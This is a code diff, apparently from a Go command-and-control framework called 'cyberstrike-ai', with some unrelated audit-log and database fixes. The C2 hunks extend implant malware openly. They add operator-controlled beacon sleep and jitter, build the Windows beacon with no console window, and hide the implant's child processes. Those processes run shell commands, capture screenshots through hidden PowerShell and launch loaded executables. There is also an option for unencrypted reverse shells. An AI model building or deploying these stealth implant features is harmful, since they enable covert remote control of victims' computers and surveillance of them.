uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
|
uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
|
||||||
hash := sha256.Sum256([]byte(uuidSeed))
|
hash := sha256.Sum256([]byte(uuidSeed))
|
||||||
|
|||||||
+41
-1
@@ -381,8 +381,10 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
|
|||||||
Metadata: req.Metadata,
|
Metadata: req.Metadata,
|
||||||
}
|
}
|
||||||
if existing != nil {
|
if existing != nil {
|
||||||
// 保留原 ID/FirstSeenAt/Note,避免被覆盖
|
// 保留原 ID/FirstSeenAt/Note 与操作员设置的 sleep/jitter,避免被 beacon 心跳上报覆盖
|
||||||
session.FirstSeenAt = existing.FirstSeenAt
|
session.FirstSeenAt = existing.FirstSeenAt
|
||||||
|
session.SleepSeconds = existing.SleepSeconds
|
||||||
|
session.JitterPercent = existing.JitterPercent
|
||||||
if session.Note == "" {
|
if session.Note == "" {
|
||||||
session.Note = existing.Note
|
session.Note = existing.Note
|
||||||
}
|
}
|
||||||
@@ -413,6 +415,44 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
|
|||||||
return session, nil
|
return session, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetSessionSleep 更新会话期望的心跳间隔,并向植入体下发 sleep 任务以尽快生效。
|
||||||
|
func (m *Manager) SetSessionSleep(sessionID string, sleepSeconds, jitterPercent int) (*database.C2Task, error) {
|
||||||
|
if strings.TrimSpace(sessionID) == "" {
|
||||||
|
return nil, ErrInvalidInput
|
||||||
|
}
|
||||||
|
if sleepSeconds < 1 {
|
||||||
|
sleepSeconds = 1
|
||||||
|
}
|
||||||
|
if jitterPercent < 0 {
|
||||||
|
jitterPercent = 0
|
||||||
|
}
|
||||||
|
if jitterPercent > 100 {
|
||||||
|
jitterPercent = 100
|
||||||
|
}
|
||||||
|
if err := m.db.SetC2SessionSleep(sessionID, sleepSeconds, jitterPercent); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
task, err := m.EnqueueTask(EnqueueTaskInput{
|
||||||
|
SessionID: sessionID,
|
||||||
|
TaskType: TaskTypeSleep,
|
||||||
|
Payload: map[string]interface{}{
|
||||||
|
"seconds": sleepSeconds,
|
||||||
|
"jitter": jitterPercent,
|
||||||
|
},
|
||||||
|
Source: "manual",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
m.logger.Warn("sleep 任务入队失败", zap.Error(err), zap.String("session_id", sessionID))
|
||||||
|
}
|
||||||
|
m.publishEvent("info", "session", sessionID, "",
|
||||||
|
fmt.Sprintf("Sleep 已更新: %ds (抖动 %d%%)", sleepSeconds, jitterPercent),
|
||||||
|
map[string]interface{}{
|
||||||
|
"sleep_seconds": sleepSeconds,
|
||||||
|
"jitter_percent": jitterPercent,
|
||||||
|
})
|
||||||
|
return task, nil
|
||||||
|
}
|
||||||
|
|
||||||
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead
|
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead
|
||||||
func (m *Manager) MarkSessionDead(sessionID string) error {
|
func (m *Manager) MarkSessionDead(sessionID string) error {
|
||||||
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
|
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
|
||||||
|
|||||||
@@ -0,0 +1,118 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIngestCheckIn_PreservesOperatorSleepOnHeartbeat(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
mgr := NewManager(db, zap.NewNop(), tmp)
|
||||||
|
ln, err := mgr.CreateListener(CreateListenerInput{
|
||||||
|
Name: "t",
|
||||||
|
Type: string(ListenerTypeHTTPBeacon),
|
||||||
|
BindHost: "127.0.0.1",
|
||||||
|
BindPort: 18080,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
first, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
|
||||||
|
ImplantUUID: "implant-uuid-1",
|
||||||
|
Hostname: "host1",
|
||||||
|
Username: "user",
|
||||||
|
OS: "darwin",
|
||||||
|
Arch: "amd64",
|
||||||
|
SleepSeconds: 5,
|
||||||
|
JitterPercent: 0,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.SetC2SessionSleep(first.ID, 30, 20); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
second, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
|
||||||
|
ImplantUUID: "implant-uuid-1",
|
||||||
|
Hostname: "host1",
|
||||||
|
Username: "user",
|
||||||
|
OS: "darwin",
|
||||||
|
Arch: "amd64",
|
||||||
|
SleepSeconds: 5,
|
||||||
|
JitterPercent: 0,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if second.SleepSeconds != 30 || second.JitterPercent != 20 {
|
||||||
|
t.Fatalf("expected sleep=30 jitter=20, got sleep=%d jitter=%d", second.SleepSeconds, second.JitterPercent)
|
||||||
|
}
|
||||||
|
|
||||||
|
stored, err := db.GetC2Session(first.ID)
|
||||||
|
if err != nil || stored == nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if stored.SleepSeconds != 30 || stored.JitterPercent != 20 {
|
||||||
|
t.Fatalf("db: expected sleep=30 jitter=20, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSetSessionSleep_UpdatesDBAndEnqueuesTask(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
mgr := NewManager(db, zap.NewNop(), tmp)
|
||||||
|
ln, err := mgr.CreateListener(CreateListenerInput{
|
||||||
|
Name: "t2",
|
||||||
|
Type: string(ListenerTypeHTTPBeacon),
|
||||||
|
BindHost: "127.0.0.1",
|
||||||
|
BindPort: 18081,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
sess, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
|
||||||
|
ImplantUUID: "implant-uuid-2",
|
||||||
|
Hostname: "host2",
|
||||||
|
Username: "user",
|
||||||
|
OS: "linux",
|
||||||
|
Arch: "amd64",
|
||||||
|
SleepSeconds: 5,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
task, err := mgr.SetSessionSleep(sess.ID, 15, 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if task == nil || task.TaskType != string(TaskTypeSleep) {
|
||||||
|
t.Fatalf("expected sleep task, got %#v", task)
|
||||||
|
}
|
||||||
|
|
||||||
|
stored, err := db.GetC2Session(sess.ID)
|
||||||
|
if err != nil || stored == nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if stored.SleepSeconds != 15 || stored.JitterPercent != 10 {
|
||||||
|
t.Fatalf("expected sleep=15 jitter=10, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
|||||||
}
|
}
|
||||||
f.Close()
|
f.Close()
|
||||||
|
|
||||||
|
// 平台相关辅助源文件(如无窗口子进程)
|
||||||
|
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
|
||||||
|
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
|
||||||
|
helperData, readErr := os.ReadFile(helperSrc)
|
||||||
|
if readErr != nil {
|
||||||
|
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
|
||||||
|
}
|
||||||
|
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
|
||||||
|
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 交叉编译
|
// 交叉编译
|
||||||
binName := strings.TrimSpace(in.OutputName)
|
binName := strings.TrimSpace(in.OutputName)
|
||||||
if binName == "" {
|
if binName == "" {
|
||||||
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
|||||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
absSrcPath, err := filepath.Abs(srcPath)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("abs source path: %w", err)
|
|
||||||
}
|
|
||||||
absBinPath, err := filepath.Abs(binPath)
|
absBinPath, err := filepath.Abs(binPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("abs output path: %w", err)
|
return nil, fmt.Errorf("abs output path: %w", err)
|
||||||
}
|
}
|
||||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
ldflags := "-s -w -buildid="
|
||||||
|
if goos == "windows" {
|
||||||
|
// 无控制台窗口运行 beacon 本体
|
||||||
|
ldflags += " -H windowsgui"
|
||||||
|
}
|
||||||
|
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
"GOOS="+goos,
|
"GOOS="+goos,
|
||||||
"GOARCH="+goarch,
|
"GOARCH="+goarch,
|
||||||
|
|||||||
@@ -1,9 +1,12 @@
|
|||||||
package c2
|
package c2
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
)
|
)
|
||||||
|
|
||||||
// OnelinerKind 单行 payload 的语言/形式
|
// OnelinerKind 单行 payload 的语言/形式
|
||||||
@@ -79,6 +82,23 @@ type OnelinerInput struct {
|
|||||||
ImplantToken string // HTTP Beacon 鉴权 token
|
ImplantToken string // HTTP Beacon 鉴权 token
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ValidateOnelinerForListener 校验 oneliner 与监听器配置是否匹配(如 tcp_reverse 默认要求加密 Beacon)。
|
||||||
|
func ValidateOnelinerForListener(listener *database.C2Listener, kind OnelinerKind) error {
|
||||||
|
if listener == nil {
|
||||||
|
return fmt.Errorf("listener is nil")
|
||||||
|
}
|
||||||
|
if ListenerType(listener.Type) == ListenerTypeTCPReverse && tcpOnelinerKinds[kind] {
|
||||||
|
cfg := &ListenerConfig{}
|
||||||
|
if strings.TrimSpace(listener.ConfigJSON) != "" {
|
||||||
|
_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
|
||||||
|
}
|
||||||
|
if !cfg.AllowLegacyShell {
|
||||||
|
return fmt.Errorf("监听器未开启 allow_legacy_shell:tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + Token);请用 build 生成 beacon,或显式开启 allow_legacy_shell(公网不推荐)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// GenerateOneliner 生成单行 payload。
|
// GenerateOneliner 生成单行 payload。
|
||||||
// 设计要点:
|
// 设计要点:
|
||||||
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
|
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
|
||||||
|
|||||||
@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
|
|||||||
timeoutSec = 60
|
timeoutSec = 60
|
||||||
}
|
}
|
||||||
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
||||||
|
prepareHiddenCmd(cmd)
|
||||||
cwdMu.Lock()
|
cwdMu.Lock()
|
||||||
cmd.Dir = currentCwd
|
cmd.Dir = currentCwd
|
||||||
cwdMu.Unlock()
|
cwdMu.Unlock()
|
||||||
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
|
|||||||
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||||||
case "windows":
|
case "windows":
|
||||||
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
||||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
|
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
|
||||||
default:
|
default:
|
||||||
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
||||||
}
|
}
|
||||||
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
|
|||||||
cmdArgs = strings.Fields(args)
|
cmdArgs = strings.Fields(args)
|
||||||
}
|
}
|
||||||
cmd := exec.Command(tmpFile, cmdArgs...)
|
cmd := exec.Command(tmpFile, cmdArgs...)
|
||||||
|
prepareHiddenCmd(cmd)
|
||||||
cwdMu.Lock()
|
cwdMu.Lock()
|
||||||
cmd.Dir = currentCwd
|
cmd.Dir = currentCwd
|
||||||
cwdMu.Unlock()
|
cwdMu.Unlock()
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import "os/exec"
|
||||||
|
|
||||||
|
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||||
|
_ = cmd
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
|
||||||
|
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||||
|
if cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
|
||||||
|
// syscall.CREATE_NO_WINDOW 常量不可用。
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||||
|
}
|
||||||
@@ -23,6 +23,9 @@ import (
|
|||||||
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
|
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
|
||||||
const tcpBeaconMagic = "CSB1"
|
const tcpBeaconMagic = "CSB1"
|
||||||
|
|
||||||
|
// tcpBeaconPeekTimeout 等待 CSB1 魔数的探测窗口;合法 Beacon 连接后立即发送魔数。
|
||||||
|
const tcpBeaconPeekTimeout = 2 * time.Second
|
||||||
|
|
||||||
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
|
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
|
||||||
const tcpBeaconMaxFrame = 64 << 20
|
const tcpBeaconMaxFrame = 64 << 20
|
||||||
|
|
||||||
|
|||||||
@@ -141,6 +141,8 @@ type ListenerConfig struct {
|
|||||||
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
|
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
|
||||||
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
|
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
|
||||||
CallbackHost string `json:"callback_host,omitempty"`
|
CallbackHost string `json:"callback_host,omitempty"`
|
||||||
|
// AllowLegacyShell 为 true 时 tcp_reverse 允许未加密的经典 bash/nc 反弹 shell 登记会话(默认 false,公网部署强烈不建议开启)
|
||||||
|
AllowLegacyShell bool `json:"allow_legacy_shell,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
|
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
|
||||||
|
|||||||
@@ -231,7 +231,7 @@ type MultiAgentEinoMiddlewareConfig struct {
|
|||||||
PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
|
PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
|
||||||
// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
|
// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
|
||||||
ReductionEnable bool `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
|
ReductionEnable bool `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
|
||||||
ReductionRootDir string `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id
|
ReductionRootDir string `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // 非空:落盘根目录(默认 tmp/reduction);其下按 projects/{id} 或 conversations/{id} 隔离
|
||||||
ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
|
ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
|
||||||
ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
|
ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
|
||||||
ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
|
ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
|
||||||
@@ -593,10 +593,8 @@ type DatabaseConfig struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type AgentConfig struct {
|
type AgentConfig struct {
|
||||||
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
|
||||||
LargeResultThreshold int `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值(字节),默认50KB
|
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
||||||
ResultStorageDir string `yaml:"result_storage_dir" json:"result_storage_dir"` // 结果存储目录,默认tmp
|
|
||||||
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
|
|
||||||
// SystemPromptPath 单代理系统提示 Markdown/文本文件路径(相对 config.yaml 所在目录,或可写绝对路径)。非空且可读时替换内置单代理提示;留空用内置。
|
// SystemPromptPath 单代理系统提示 Markdown/文本文件路径(相对 config.yaml 所在目录,或可写绝对路径)。非空且可读时替换内置单代理提示;留空用内置。
|
||||||
SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
|
SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -69,12 +69,12 @@ func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
|
|||||||
args = append(args, filter.ResourceID)
|
args = append(args, filter.ResourceID)
|
||||||
}
|
}
|
||||||
if filter.Since != nil {
|
if filter.Since != nil {
|
||||||
conditions = append(conditions, "created_at >= ?")
|
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||||
args = append(args, *filter.Since)
|
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||||
}
|
}
|
||||||
if filter.Until != nil {
|
if filter.Until != nil {
|
||||||
conditions = append(conditions, "created_at <= ?")
|
conditions = append(conditions, sqliteEpochGE("created_at", "<="))
|
||||||
args = append(args, *filter.Until)
|
args = append(args, formatSQLiteUTC(*filter.Until))
|
||||||
}
|
}
|
||||||
if q := strings.TrimSpace(filter.Query); q != "" {
|
if q := strings.TrimSpace(filter.Query); q != "" {
|
||||||
like := "%" + q + "%"
|
like := "%" + q + "%"
|
||||||
@@ -93,7 +93,9 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
|
|||||||
return errors.New("audit id is required")
|
return errors.New("audit id is required")
|
||||||
}
|
}
|
||||||
if row.CreatedAt.IsZero() {
|
if row.CreatedAt.IsZero() {
|
||||||
row.CreatedAt = time.Now()
|
row.CreatedAt = time.Now().UTC()
|
||||||
|
} else {
|
||||||
|
row.CreatedAt = row.CreatedAt.UTC()
|
||||||
}
|
}
|
||||||
if strings.TrimSpace(row.Level) == "" {
|
if strings.TrimSpace(row.Level) == "" {
|
||||||
row.Level = "info"
|
row.Level = "info"
|
||||||
@@ -111,7 +113,7 @@ func (db *DB) AppendAuditLog(row *AuditLog) error {
|
|||||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
`
|
`
|
||||||
_, err := db.Exec(query,
|
_, err := db.Exec(query,
|
||||||
row.ID, row.CreatedAt, row.Level, row.Category, row.Action, row.Result,
|
row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
|
||||||
row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
|
row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
|
||||||
row.ResourceType, row.ResourceID, row.Message, detailJSON,
|
row.ResourceType, row.ResourceID, row.Message, detailJSON,
|
||||||
)
|
)
|
||||||
@@ -202,7 +204,7 @@ func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
|
|||||||
|
|
||||||
// DeleteAuditLogsBefore removes rows older than cutoff.
|
// DeleteAuditLogsBefore removes rows older than cutoff.
|
||||||
func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
|
func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
|
||||||
res, err := db.Exec(`DELETE FROM audit_logs WHERE created_at < ?`, cutoff)
|
res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, err
|
return 0, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
|
||||||
|
since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
|
||||||
|
until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
|
||||||
|
where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
|
||||||
|
if !strings.Contains(where, "strftime('%s', created_at) >=") {
|
||||||
|
t.Fatalf("expected epoch comparison for since, got %q", where)
|
||||||
|
}
|
||||||
|
if !strings.Contains(where, "strftime('%s', created_at) <=") {
|
||||||
|
t.Fatalf("expected epoch comparison for until, got %q", where)
|
||||||
|
}
|
||||||
|
if len(args) != 2 {
|
||||||
|
t.Fatalf("expected 2 time args, got %d", len(args))
|
||||||
|
}
|
||||||
|
for i, arg := range args {
|
||||||
|
s, ok := arg.(string)
|
||||||
|
if !ok || s == "" {
|
||||||
|
t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
|
||||||
|
root, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
t.Skip(err)
|
||||||
|
}
|
||||||
|
dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
|
||||||
|
if _, err := os.Stat(dbPath); err != nil {
|
||||||
|
t.Skip("conversations.db not found")
|
||||||
|
}
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
|
||||||
|
until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
|
||||||
|
filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
|
||||||
|
logs, err := db.ListAuditLogs(filter)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, row := range logs {
|
||||||
|
at := row.CreatedAt.UTC()
|
||||||
|
if at.Before(since) || at.After(until) {
|
||||||
|
t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
|
|||||||
// GetBatchTasks 获取批量任务队列的所有任务
|
// GetBatchTasks 获取批量任务队列的所有任务
|
||||||
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
|
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
|
||||||
queueID,
|
queueID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -17,6 +17,9 @@ var ErrNoValidC2EventIDs = errors.New("no valid event ids")
|
|||||||
// ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID
|
// ErrNoValidC2TaskIDs 批量删除任务时未提供任何合法 ID
|
||||||
var ErrNoValidC2TaskIDs = errors.New("no valid task ids")
|
var ErrNoValidC2TaskIDs = errors.New("no valid task ids")
|
||||||
|
|
||||||
|
// ErrNoValidC2SessionIDs 批量删除会话时未提供任何合法 ID
|
||||||
|
var ErrNoValidC2SessionIDs = errors.New("no valid session ids")
|
||||||
|
|
||||||
// validC2TextIDForDelete 校验 C2 文本主键(e_/t_/s_/… 等)用于批量删除入参
|
// validC2TextIDForDelete 校验 C2 文本主键(e_/t_/s_/… 等)用于批量删除入参
|
